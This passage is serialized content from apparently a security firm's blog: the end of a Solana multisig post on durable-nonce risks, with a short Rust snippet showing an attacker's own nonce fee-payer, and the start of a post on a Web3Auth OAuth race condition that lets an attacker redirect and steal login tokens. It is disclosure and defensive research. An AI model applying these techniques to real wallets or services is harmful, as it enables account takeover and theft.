",{"type":22,"tag":257,"props":70043,"children":70045},{"className":70044},[],[70046],{"type":27,"value":70047},"getProgramAccounts",{"type":27,"value":70049}," call to validate if your signer ",{"type":22,"tag":69,"props":70051,"children":70054},{"href":70052,"rel":70053},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[73],[70055],{"type":27,"value":70056},"has an associated durable nonce",{"type":27,"value":210},{"type":22,"tag":618,"props":70059,"children":70061},{"className":37245,"code":70060,"language":37247,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[70062],{"type":22,"tag":257,"props":70063,"children":70064},{"__ignoreMap":7},[70065,70112,70148,70156,70168,70176,70188,70196,70204,70221,70228,70235,70243,70251,70263,70289,70306,70313,70320,70328,70335],{"type":22,"tag":264,"props":70066,"children":70067},{"class":1534,"line":1535},[70068,70072,70077,70081,70085,70090,70094,70099,70103,70108],{"type":22,"tag":264,"props":70069,"children":70070},{"style":4293},[70071],{"type":27,"value":10953},{"type":22,"tag":264,"props":70073,"children":70074},{"style":1549},[70075],{"type":27,"value":70076}," connection",{"type":22,"tag":264,"props":70078,"children":70079},{"style":4309},[70080],{"type":27,"value":4312},{"type":22,"tag":264,"props":70082,"children":70083},{"style":4293},[70084],{"type":27,"value":33248},{"type":22,"tag":264,"props":70086,"children":70087},{"style":4401},[70088],{"type":27,"value":70089}," Connection",{"type":22,"tag":264,"props":70091,"children":70092},{"style":1539},[70093],{"type":27,"value":2660},{"type":22,"tag":264,"props":70095,"children":70096},{"style":4401},[70097],{"type":27,"value":70098},"clusterApiUrl",{"type":22,"tag":264,"props":70100,"children":70101},{"style":1539},[70102],{"type":27,"value":2660},{"type":22,"tag":264,"props":70104,"children":70105},{"style":1597},[70106],{"type":27,"value":70107},"'testnet'",{"type":22,"tag":264,"props":70109,"children":70110},{"style":1539},[70111],{"type":27,"value":8516},{"type":22,"tag":264,"props":70113,"children":70114},{"class":1534,"line":1545},[70115,70119,70124,70128,70132,70136,70140,70144],{"type":22,"tag":264,"props":70116,"children":70117},{"style":4293},[70118],{"type":27,"value":10953},{"type":22,"tag":264,"props":70120,"children":70121},{"style":1549},[70122],{"type":27,"value":70123}," nonceAccounts",{"type":22,"tag":264,"props":70125,"children":70126},{"style":4309},[70127],{"type":27,"value":4312},{"type":22,"tag":264,"props":70129,"children":70130},{"style":4328},[70131],{"type":27,"value":37526},{"type":22,"tag":264,"props":70133,"children":70134},{"style":1549},[70135],{"type":27,"value":70076},{"type":22,"tag":264,"props":70137,"children":70138},{"style":1539},[70139],{"type":27,"value":210},{"type":22,"tag":264,"props":70141,"children":70142},{"style":4401},[70143],{"type":27,"value":70047},{"type":22,"tag":264,"props":70145,"children":70146},{"style":1539},[70147],{"type":27,"value":4767},{"type":22,"tag":264,"props":70149,"children":70150},{"class":1534,"line":1560},[70151],{"type":22,"tag":264,"props":70152,"children":70153},{"style":4284},[70154],{"type":27,"value":70155},"  // The system program owns all nonce accounts.\n",{"type":22,"tag":264,"props":70157,"children":70158},{"class":1534,"line":1569},[70159,70164],{"type":22,"tag":264,"props":70160,"children":70161},{"style":1549},[70162],{"type":27,"value":70163},"  SYSTEM_PROGRAM_ADDRESS",{"type":22,"tag":264,"props":70165,"children":70166},{"style":1539},[70167],{"type":27,"value":4812},{"type":22,"tag":264,"props":70169,"children":70170},{"class":1534,"line":1583},[70171],{"type":22,"tag":264,"props":70172,"children":70173},{"style":1539},[70174],{"type":27,"value":70175},"  {\n",{"type":22,"tag":264,"props":70177,"children":70178},{"class":1534,"line":1603},[70179,70184],{"type":22,"tag":264,"props":70180,"children":70181},{"style":1549},[70182],{"type":27,"value":70183},"    filters:",{"type":22,"tag":264,"props":70185,"children":70186},{"style":1539},[70187],{"type":27,"value":26933},{"type":22,"tag":264,"props":70189,"children":70190},{"class":1534,"line":1612},[70191],{"type":22,"tag":264,"props":70192,"children":70193},{"style":1539},[70194],{"type":27,"value":70195},"      {\n",{"type":22,"tag":264,"props":70197,"children":70198},{"class":1534,"line":1621},[70199],{"type":22,"tag":264,"props":70200,"children":70201},{"style":4284},[70202],{"type":27,"value":70203},"        // Nonce accounts are exactly 80 bytes long\n",{"type":22,"tag":264,"props":70205,"children":70206},{"class":1534,"line":1629},[70207,70212,70217],{"type":22,"tag":264,"props":70208,"children":70209},{"style":1549},[70210],{"type":27,"value":70211},"        dataSize:",{"type":22,"tag":264,"props":70213,"children":70214},{"style":4344},[70215],{"type":27,"value":70216}," 80",{"type":22,"tag":264,"props":70218,"children":70219},{"style":1539},[70220],{"type":27,"value":4812},{"type":22,"tag":264,"props":70222,"children":70223},{"class":1534,"line":1642},[70224],{"type":22,"tag":264,"props":70225,"children":70226},{"style":1539},[70227],{"type":27,"value":38513},{"type":22,"tag":264,"props":70229,"children":70230},{"class":1534,"line":1660},[70231],{"type":22,"tag":264,"props":70232,"children":70233},{"style":1539},[70234],{"type":27,"value":70195},{"type":22,"tag":264,"props":70236,"children":70237},{"class":1534,"line":1668},[70238],{"type":22,"tag":264,"props":70239,"children":70240},{"style":4284},[70241],{"type":27,"value":70242},"        // The authority's 32-byte public key is written\n",{"type":22,"tag":264,"props":70244,"children":70245},{"class":1534,"line":1677},[70246],{"type":22,"tag":264,"props":70247,"children":70248},{"style":4284},[70249],{"type":27,"value":70250},"        // into bytes 8-40 of the nonce's account data.\n",{"type":22,"tag":264,"props":70252,"children":70253},{"class":1534,"line":1686},[70254,70259],{"type":22,"tag":264,"props":70255,"children":70256},{"style":1549},[70257],{"type":27,"value":70258},"        memcmp:",{"type":22,"tag":264,"props":70260,"children":70261},{"style":1539},[70262],{"type":27,"value":4594},{"type":22,"tag":264,"props":70264,"children":70265},{"class":1534,"line":4948},[70266,70271,70276,70280,70285],{"type":22,"tag":264,"props":70267,"children":70268},{"style":1549},[70269],{"type":27,"value":70270},"          bytes:",{"type":22,"tag":264,"props":70272,"children":70273},{"style":1549},[70274],{"type":27,"value":70275}," AUTHORITY_PUBLIC_KEY",{"type":22,"tag":264,"props":70277,"children":70278},{"style":1539},[70279],{"type":27,"value":210},{"type":22,"tag":264,"props":70281,"children":70282},{"style":4401},[70283],{"type":27,"value":70284},"toBase58",{"type":22,"tag":264,"props":70286,"children":70287},{"style":1539},[70288],{"type":27,"value":4795},{"type":22,"tag":264,"props":70290,"children":70291},{"class":1534,"line":4957},[70292,70297,70302],{"type":22,"tag":264,"props":70293,"children":70294},{"style":1549},[70295],{"type":27,"value":70296},"          offset:",{"type":22,"tag":264,"props":70298,"children":70299},{"style":4344},[70300],{"type":27,"value":70301}," 8",{"type":22,"tag":264,"props":70303,"children":70304},{"style":1539},[70305],{"type":27,"value":4812},{"type":22,"tag":264,"props":70307,"children":70308},{"class":1534,"line":4980},[70309],{"type":22,"tag":264,"props":70310,"children":70311},{"style":1539},[70312],{"type":27,"value":26686},{"type":22,"tag":264,"props":70314,"children":70315},{"class":1534,"line":4989},[70316],{"type":22,"tag":264,"props":70317,"children":70318},{"style":1539},[70319],{"type":27,"value":38513},{"type":22,"tag":264,"props":70321,"children":70322},{"class":1534,"line":4998},[70323],{"type":22,"tag":264,"props":70324,"children":70325},{"style":1539},[70326],{"type":27,"value":70327},"    ],\n",{"type":22,"tag":264,"props":70329,"children":70330},{"class":1534,"line":5067},[70331],{"type":22,"tag":264,"props":70332,"children":70333},{"style":1539},[70334],{"type":27,"value":7163},{"type":22,"tag":264,"props":70336,"children":70337},{"class":1534,"line":5075},[70338],{"type":22,"tag":264,"props":70339,"children":70340},{"style":1539},[70341],{"type":27,"value":5142},{"type":22,"tag":23,"props":70343,"children":70344},{},[70345,70347,70355],{"type":27,"value":70346},"Unfortunately this is not sufficient",{"type":22,"tag":16773,"props":70348,"children":70349},{},[70350],{"type":22,"tag":69,"props":70351,"children":70353},{"href":30937,"ariaDescribedBy":70352,"dataFootnoteRef":7,"id":30939},[16780],[70354],{"type":27,"value":602},{"type":27,"value":70356},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":22,"tag":618,"props":70358,"children":70360},{"className":4274,"code":70359,"language":4273,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[70361],{"type":22,"tag":257,"props":70362,"children":70363},{"__ignoreMap":7},[70364,70430,70446,70529],{"type":22,"tag":264,"props":70365,"children":70366},{"class":1534,"line":1535},[70367,70371,70375,70379,70384,70388,70392,70396,70400,70404,70408,70412,70417,70421,70426],{"type":22,"tag":264,"props":70368,"children":70369},{"style":4293},[70370],{"type":27,"value":4296},{"type":22,"tag":264,"props":70372,"children":70373},{"style":1549},[70374],{"type":27,"value":44687},{"type":22,"tag":264,"props":70376,"children":70377},{"style":4309},[70378],{"type":27,"value":4312},{"type":22,"tag":264,"props":70380,"children":70381},{"style":1539},[70382],{"type":27,"value":70383}," system_instruction",{"type":22,"tag":264,"props":70385,"children":70386},{"style":4309},[70387],{"type":27,"value":4785},{"type":22,"tag":264,"props":70389,"children":70390},{"style":4401},[70391],{"type":27,"value":33438},{"type":22,"tag":264,"props":70393,"children":70394},{"style":1539},[70395],{"type":27,"value":2660},{"type":22,"tag":264,"props":70397,"children":70398},{"style":4309},[70399],{"type":27,"value":4413},{"type":22,"tag":264,"props":70401,"children":70402},{"style":1549},[70403],{"type":27,"value":20779},{"type":22,"tag":264,"props":70405,"children":70406},{"style":1539},[70407],{"type":27,"value":4380},{"type":22,"tag":264,"props":70409,"children":70410},{"style":4309},[70411],{"type":27,"value":4413},{"type":22,"tag":264,"props":70413,"children":70414},{"style":1549},[70415],{"type":27,"value":70416},"ledger_base_pubkey",{"type":22,"tag":264,"props":70418,"children":70419},{"style":1539},[70420],{"type":27,"value":4380},{"type":22,"tag":264,"props":70422,"children":70423},{"style":4344},[70424],{"type":27,"value":70425},"42",{"type":22,"tag":264,"props":70427,"children":70428},{"style":1539},[70429],{"type":27,"value":5142},{"type":22,"tag":264,"props":70431,"children":70432},{"class":1534,"line":1545},[70433,70437,70442],{"type":22,"tag":264,"props":70434,"children":70435},{"style":4293},[70436],{"type":27,"value":4296},{"type":22,"tag":264,"props":70438,"children":70439},{"style":1549},[70440],{"type":27,"value":70441}," message",{"type":22,"tag":264,"props":70443,"children":70444},{"style":4309},[70445],{"type":27,"value":37170},{"type":22,"tag":264,"props":70447,"children":70448},{"class":1534,"line":1560},[70449,70454,70458,70463,70467,70471,70475,70479,70483,70487,70491,70495,70500,70504,70508,70513,70517,70521,70525],{"type":22,"tag":264,"props":70450,"children":70451},{"style":4722},[70452],{"type":27,"value":70453},"        Message",{"type":22,"tag":264,"props":70455,"children":70456},{"style":4309},[70457],{"type":27,"value":4785},{"type":22,"tag":264,"props":70459,"children":70460},{"style":4401},[70461],{"type":27,"value":70462},"new_with_nonce",{"type":22,"tag":264,"props":70464,"children":70465},{"style":1539},[70466],{"type":27,"value":2660},{"type":22,"tag":264,"props":70468,"children":70469},{"style":4401},[70470],{"type":27,"value":5194},{"type":22,"tag":264,"props":70472,"children":70473},{"style":1539},[70474],{"type":27,"value":5045},{"type":22,"tag":264,"props":70476,"children":70477},{"style":1549},[70478],{"type":27,"value":44997},{"type":22,"tag":264,"props":70480,"children":70481},{"style":1539},[70482],{"type":27,"value":24361},{"type":22,"tag":264,"props":70484,"children":70485},{"style":4722},[70486],{"type":27,"value":43336},{"type":22,"tag":264,"props":70488,"children":70489},{"style":1539},[70490],{"type":27,"value":2660},{"type":22,"tag":264,"props":70492,"children":70493},{"style":4309},[70494],{"type":27,"value":4413},{"type":22,"tag":264,"props":70496,"children":70497},{"style":1549},[70498],{"type":27,"value":70499},"evil_nonce_authority",{"type":22,"tag":264,"props":70501,"children":70502},{"style":1539},[70503],{"type":27,"value":16477},{"type":22,"tag":264,"props":70505,"children":70506},{"style":4309},[70507],{"type":27,"value":4413},{"type":22,"tag":264,"props":70509,"children":70510},{"style":1549},[70511],{"type":27,"value":70512},"nonce_account",{"type":22,"tag":264,"props":70514,"children":70515},{"style":1539},[70516],{"type":27,"value":4380},{"type":22,"tag":264,"props":70518,"children":70519},{"style":4309},[70520],{"type":27,"value":4413},{"type":22,"tag":264,"props":70522,"children":70523},{"style":1549},[70524],{"type":27,"value":70499},{"type":22,"tag":264,"props":70526,"children":70527},{"style":1539},[70528],{"type":27,"value":4463},{"type":22,"tag":264,"props":70530,"children":70531},{"class":1534,"line":1569},[70532,70536,70541],{"type":22,"tag":264,"props":70533,"children":70534},{"style":4309},[70535],{"type":27,"value":4471},{"type":22,"tag":264,"props":70537,"children":70538},{"style":4401},[70539],{"type":27,"value":70540},"serialize",{"type":22,"tag":264,"props":70542,"children":70543},{"style":1539},[70544],{"type":27,"value":4977},{"type":22,"tag":23,"props":70546,"children":70547},{},[70548,70550,70557],{"type":27,"value":70549},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":22,"tag":69,"props":70551,"children":70554},{"href":70552,"rel":70553},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[73],[70555],{"type":27,"value":70556},"logs the fee-payer here",{"type":27,"value":210},{"type":22,"tag":618,"props":70559,"children":70561},{"className":17815,"code":70560,"language":4449,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[70562],{"type":22,"tag":257,"props":70563,"children":70564},{"__ignoreMap":7},[70565,70624,70680],{"type":22,"tag":264,"props":70566,"children":70567},{"class":1534,"line":1535},[70568,70572,70577,70581,70585,70590,70594,70599,70603,70607,70611,70615,70620],{"type":22,"tag":264,"props":70569,"children":70570},{"style":4293},[70571],{"type":27,"value":30999},{"type":22,"tag":264,"props":70573,"children":70574},{"style":4401},[70575],{"type":27,"value":70576}," print_config_show_authority",{"type":22,"tag":264,"props":70578,"children":70579},{"style":1539},[70580],{"type":27,"value":2660},{"type":22,"tag":264,"props":70582,"children":70583},{"style":4293},[70584],{"type":27,"value":10953},{"type":22,"tag":264,"props":70586,"children":70587},{"style":1539},[70588],{"type":27,"value":70589}," PrintConfig",{"type":22,"tag":264,"props":70591,"children":70592},{"style":4309},[70593],{"type":27,"value":5865},{"type":22,"tag":264,"props":70595,"children":70596},{"style":1549},[70597],{"type":27,"value":70598}," print_config",{"type":22,"tag":264,"props":70600,"children":70601},{"style":1539},[70602],{"type":27,"value":4380},{"type":22,"tag":264,"props":70604,"children":70605},{"style":4293},[70606],{"type":27,"value":10953},{"type":22,"tag":264,"props":70608,"children":70609},{"style":1539},[70610],{"type":27,"value":22164},{"type":22,"tag":264,"props":70612,"children":70613},{"style":4309},[70614],{"type":27,"value":5865},{"type":22,"tag":264,"props":70616,"children":70617},{"style":1549},[70618],{"type":27,"value":70619}," authority",{"type":22,"tag":264,"props":70621,"children":70622},{"style":1539},[70623],{"type":27,"value":16103},{"type":22,"tag":264,"props":70625,"children":70626},{"class":1534,"line":1545},[70627,70631,70635,70639,70644,70648,70652,70657,70661,70666,70670,70675],{"type":22,"tag":264,"props":70628,"children":70629},{"style":4328},[70630],{"type":27,"value":18291},{"type":22,"tag":264,"props":70632,"children":70633},{"style":1549},[70634],{"type":27,"value":70598},{"type":22,"tag":264,"props":70636,"children":70637},{"style":1539},[70638],{"type":27,"value":15056},{"type":22,"tag":264,"props":70640,"children":70641},{"style":1549},[70642],{"type":27,"value":70643},"expert_mode",{"type":22,"tag":264,"props":70645,"children":70646},{"style":4309},[70647],{"type":27,"value":25009},{"type":22,"tag":264,"props":70649,"children":70650},{"style":4309},[70651],{"type":27,"value":14162},{"type":22,"tag":264,"props":70653,"children":70654},{"style":4401},[70655],{"type":27,"value":70656},"pubkeys_equal",{"type":22,"tag":264,"props":70658,"children":70659},{"style":1539},[70660],{"type":27,"value":2660},{"type":22,"tag":264,"props":70662,"children":70663},{"style":1549},[70664],{"type":27,"value":70665},"print_config",{"type":22,"tag":264,"props":70667,"children":70668},{"style":1539},[70669],{"type":27,"value":15056},{"type":22,"tag":264,"props":70671,"children":70672},{"style":1549},[70673],{"type":27,"value":70674},"signer_pubkey",{"type":22,"tag":264,"props":70676,"children":70677},{"style":1539},[70678],{"type":27,"value":70679},", authority);\n",{"type":22,"tag":264,"props":70681,"children":70682},{"class":1534,"line":1560},[70683],{"type":22,"tag":264,"props":70684,"children":70685},{"style":1539},[70686],{"type":27,"value":1692},{"type":22,"tag":23,"props":70688,"children":70689},{},[70690],{"type":27,"value":70691},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":22,"tag":23,"props":70693,"children":70694},{},[70695],{"type":27,"value":70696},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":22,"tag":23,"props":70698,"children":70699},{},[70700],{"type":27,"value":70701},"We can then use the following procedure.",{"type":22,"tag":1867,"props":70703,"children":70704},{},[70705,70710,70715,70720,70725],{"type":22,"tag":1871,"props":70706,"children":70707},{},[70708],{"type":27,"value":70709},"Ensure all signers have no durable nonce accounts.",{"type":22,"tag":1871,"props":70711,"children":70712},{},[70713],{"type":27,"value":70714},"The first signer signs and submits the transaction.",{"type":22,"tag":1871,"props":70716,"children":70717},{},[70718],{"type":27,"value":70719},"Wait two minutes for all recent blockhashes to expire.",{"type":22,"tag":1871,"props":70721,"children":70722},{},[70723],{"type":27,"value":70724},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":22,"tag":1871,"props":70726,"children":70727},{},[70728],{"type":27,"value":70729},"Repeat steps 2 to 4 for each signer",{"type":22,"tag":169,"props":70731,"children":70733},{"id":70732},"beyond",[70734],{"type":27,"value":70735},"Beyond",{"type":22,"tag":23,"props":70737,"children":70738},{},[70739],{"type":27,"value":70740},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":22,"tag":23,"props":70742,"children":70743},{},[70744,70746,70753],{"type":27,"value":70745},"For example, pcaversaccio wrote a tool to ",{"type":22,"tag":69,"props":70747,"children":70750},{"href":70748,"rel":70749},"https://github.com/pcaversaccio/safe-tx-hashes-util",[73],[70751],{"type":27,"value":70752},"validate Safe transaction hashes",{"type":27,"value":70754},". As the space matures, we hope more open source tooling will come to light.",{"type":22,"tag":19725,"props":70756,"children":70758},{"className":70757,"dataFootnotes":7},[19728],[70759,70764],{"type":22,"tag":169,"props":70760,"children":70762},{"className":70761,"id":16780},[19733],[70763],{"type":27,"value":19736},{"type":22,"tag":1867,"props":70765,"children":70766},{},[70767],{"type":22,"tag":1871,"props":70768,"children":70769},{"id":31680},[70770,70772,70780,70782],{"type":27,"value":70771},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":22,"tag":69,"props":70773,"children":70777},{"href":70774,"rel":70775,":style":70776},"https://twitter.com/PierreArowana",[73],"color: #B1D0EE; text-decoration: underline;",[70778],{"type":27,"value":70779},"@PierreArowana",{"type":27,"value":70781}," for pointing this out to me. ",{"type":22,"tag":69,"props":70783,"children":70785},{"href":31708,"ariaLabel":19839,"className":70784,"dataFootnoteBackref":7},[19841],[70786],{"type":27,"value":19844},{"type":22,"tag":4139,"props":70788,"children":70789},{},[70790],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":70792},[70793,70797,70798,70799],{"id":68989,"depth":1545,"text":68992,"children":70794},[70795,70796],{"id":69000,"depth":1560,"text":69003},{"id":69279,"depth":1560,"text":69282},{"id":70000,"depth":1545,"text":70003},{"id":70732,"depth":1545,"text":70735},{"id":16780,"depth":1545,"text":19736},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":70804,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":70805,"description":70806,"date":70807,"author":70808,"image":70809,"isFeatured":17,"onBlogPage":17,"tags":70811,"body":70812,"_type":4157,"_id":72510,"_source":4159,"_file":72511,"_stem":72512,"_extension":4162},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[32516,32515],{"src":70810},"/posts/web2-in-web3/title.jpg",[33456],{"type":19,"children":70813,"toc":72492},[70814,70819,70824,70829,70855,70861,70866,70872,70893,70899,70904,70911,70924,70954,70960,71004,71011,71017,71050,71071,71079,71098,71105,71110,71116,71121,71126,71151,71156,71162,71168,71189,71195,71222,71250,71257,71262,71267,71612,71616,71638,71644,71665,71679,71692,71697,71713,71718,72447,72452,72457,72462,72474,72478,72483,72488],{"type":22,"tag":23,"props":70815,"children":70816},{},[70817],{"type":27,"value":70818},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":22,"tag":23,"props":70820,"children":70821},{},[70822],{"type":27,"value":70823},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":22,"tag":23,"props":70825,"children":70826},{},[70827],{"type":27,"value":70828},"In this article, we will discuss three cases we discovered:",{"type":22,"tag":1867,"props":70830,"children":70831},{},[70832,70837,70850],{"type":22,"tag":1871,"props":70833,"children":70834},{},[70835],{"type":27,"value":70836},"OAuth Logic Vulnerability on an Authentication Provider",{"type":22,"tag":1871,"props":70838,"children":70839},{},[70840,70842,70848],{"type":27,"value":70841},"Supabase ",{"type":22,"tag":257,"props":70843,"children":70845},{"className":70844},[],[70846],{"type":27,"value":70847},"user_metadata",{"type":27,"value":70849}," misconfiguration",{"type":22,"tag":1871,"props":70851,"children":70852},{},[70853],{"type":27,"value":70854},"OAuth abuse in localhost development environment",{"type":22,"tag":169,"props":70856,"children":70858},{"id":70857},"abusing-oauth-authentication-logic",[70859],{"type":27,"value":70860},"Abusing OAuth Authentication Logic",{"type":22,"tag":23,"props":70862,"children":70863},{},[70864],{"type":27,"value":70865},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":22,"tag":181,"props":70867,"children":70869},{"id":70868},"web3auth-introduction",[70870],{"type":27,"value":70871},"Web3Auth Introduction",{"type":22,"tag":23,"props":70873,"children":70874},{},[70875,70882,70884,70891],{"type":22,"tag":69,"props":70876,"children":70879},{"href":70877,"rel":70878},"https://web3auth.io/",[73],[70880],{"type":27,"value":70881},"Web3Auth",{"type":27,"value":70883}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":22,"tag":69,"props":70885,"children":70888},{"href":70886,"rel":70887},"https://oauth.net/2/",[73],[70889],{"type":27,"value":70890},"OAuth2",{"type":27,"value":70892}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":22,"tag":181,"props":70894,"children":70896},{"id":70895},"web3auth-authentication-flow",[70897],{"type":27,"value":70898},"Web3Auth Authentication flow",{"type":22,"tag":23,"props":70900,"children":70901},{},[70902],{"type":27,"value":70903},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":22,"tag":23,"props":70905,"children":70906},{},[70907],{"type":22,"tag":215,"props":70908,"children":70910},{"alt":51899,"src":70909},"/posts/web2-in-web3/auth-flow.png",[],{"type":22,"tag":23,"props":70912,"children":70913},{},[70914,70916,70922],{"type":27,"value":70915},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":22,"tag":257,"props":70917,"children":70919},{"className":70918},[],[70920],{"type":27,"value":70921},"client_id",{"type":27,"value":70923},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":22,"tag":23,"props":70925,"children":70926},{},[70927,70929,70935,70937,70943,70945,70952],{"type":27,"value":70928},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":22,"tag":257,"props":70930,"children":70932},{"className":70931},[],[70933],{"type":27,"value":70934},"/start",{"type":27,"value":70936}," validates the ",{"type":22,"tag":257,"props":70938,"children":70940},{"className":70939},[],[70941],{"type":27,"value":70942},"redirect_url",{"type":27,"value":70944}," against the configured ",{"type":22,"tag":69,"props":70946,"children":70949},{"href":70947,"rel":70948},"https://web3auth.io/docs/dashboard-setup/whitelisting",[73],[70950],{"type":27,"value":70951},"whitelist",{"type":27,"value":70953}," to ensure it matches one of the allowed URLs.",{"type":22,"tag":181,"props":70955,"children":70957},{"id":70956},"in-transit-cryptography",[70958],{"type":27,"value":70959},"In-transit Cryptography",{"type":22,"tag":23,"props":70961,"children":70962},{},[70963,70965,70972,70974,70980,70982,70988,70990,70995,70997,71002],{"type":27,"value":70964},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":22,"tag":69,"props":70966,"children":70969},{"href":70967,"rel":70968},"https://en.wikipedia.org/wiki/Key_(cryptography)",[73],[70970],{"type":27,"value":70971},"cryptographic key",{"type":27,"value":70973}," is derived from the ",{"type":22,"tag":257,"props":70975,"children":70977},{"className":70976},[],[70978],{"type":27,"value":70979},"sessionId",{"type":27,"value":70981},"  sent in the ",{"type":22,"tag":257,"props":70983,"children":70985},{"className":70984},[],[70986],{"type":27,"value":70987},"GET",{"type":27,"value":70989}," parameter to the ",{"type":22,"tag":257,"props":70991,"children":70993},{"className":70992},[],[70994],{"type":27,"value":70934},{"type":27,"value":70996},". Since the ",{"type":22,"tag":257,"props":70998,"children":71000},{"className":70999},[],[71001],{"type":27,"value":70979},{"type":27,"value":71003}," can be controlled, it allows us to send and receive data from the session server.",{"type":22,"tag":23,"props":71005,"children":71006},{},[71007],{"type":22,"tag":215,"props":71008,"children":71010},{"alt":51899,"src":71009},"/posts/web2-in-web3/image-2.png",[],{"type":22,"tag":181,"props":71012,"children":71014},{"id":71013},"race-condition",[71015],{"type":27,"value":71016},"Race Condition",{"type":22,"tag":23,"props":71018,"children":71019},{},[71020,71022,71027,71029,71035,71037,71042,71044,71049],{"type":27,"value":71021},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":22,"tag":257,"props":71023,"children":71025},{"className":71024},[],[71026],{"type":27,"value":70934},{"type":27,"value":71028}," and later used in the ",{"type":22,"tag":257,"props":71030,"children":71032},{"className":71031},[],[71033],{"type":27,"value":71034},"/end",{"type":27,"value":71036}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":22,"tag":257,"props":71038,"children":71040},{"className":71039},[],[71041],{"type":27,"value":70934},{"type":27,"value":71043},") but before  use (",{"type":22,"tag":257,"props":71045,"children":71047},{"className":71046},[],[71048],{"type":27,"value":71034},{"type":27,"value":22049},{"type":22,"tag":23,"props":71051,"children":71052},{},[71053,71055,71062,71064,71069],{"type":27,"value":71054},"To exploit this ",{"type":22,"tag":69,"props":71056,"children":71059},{"href":71057,"rel":71058},"https://portswigger.net/web-security/race-conditions",[73],[71060],{"type":27,"value":71061},"race condition",{"type":27,"value":71063},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":22,"tag":257,"props":71065,"children":71067},{"className":71066},[],[71068],{"type":27,"value":70979},{"type":27,"value":71070}," but with modified malicious parameters.",{"type":22,"tag":23,"props":71072,"children":71073},{},[71074],{"type":22,"tag":242,"props":71075,"children":71076},{},[71077],{"type":27,"value":71078},"What can be modified to achieve something impactful?",{"type":22,"tag":23,"props":71080,"children":71081},{},[71082,71084,71090,71092,71097],{"type":27,"value":71083},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":22,"tag":257,"props":71085,"children":71087},{"className":71086},[],[71088],{"type":27,"value":71089},"redirect_uri",{"type":27,"value":71091}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":22,"tag":257,"props":71093,"children":71095},{"className":71094},[],[71096],{"type":27,"value":70921},{"type":27,"value":210},{"type":22,"tag":23,"props":71099,"children":71100},{},[71101],{"type":22,"tag":215,"props":71102,"children":71104},{"alt":51899,"src":71103},"/posts/web2-in-web3/image-3.png",[],{"type":22,"tag":23,"props":71106,"children":71107},{},[71108],{"type":27,"value":71109},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":22,"tag":181,"props":71111,"children":71113},{"id":71112},"patch-bypass",[71114],{"type":27,"value":71115},"Patch & Bypass",{"type":22,"tag":23,"props":71117,"children":71118},{},[71119],{"type":27,"value":71120},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older 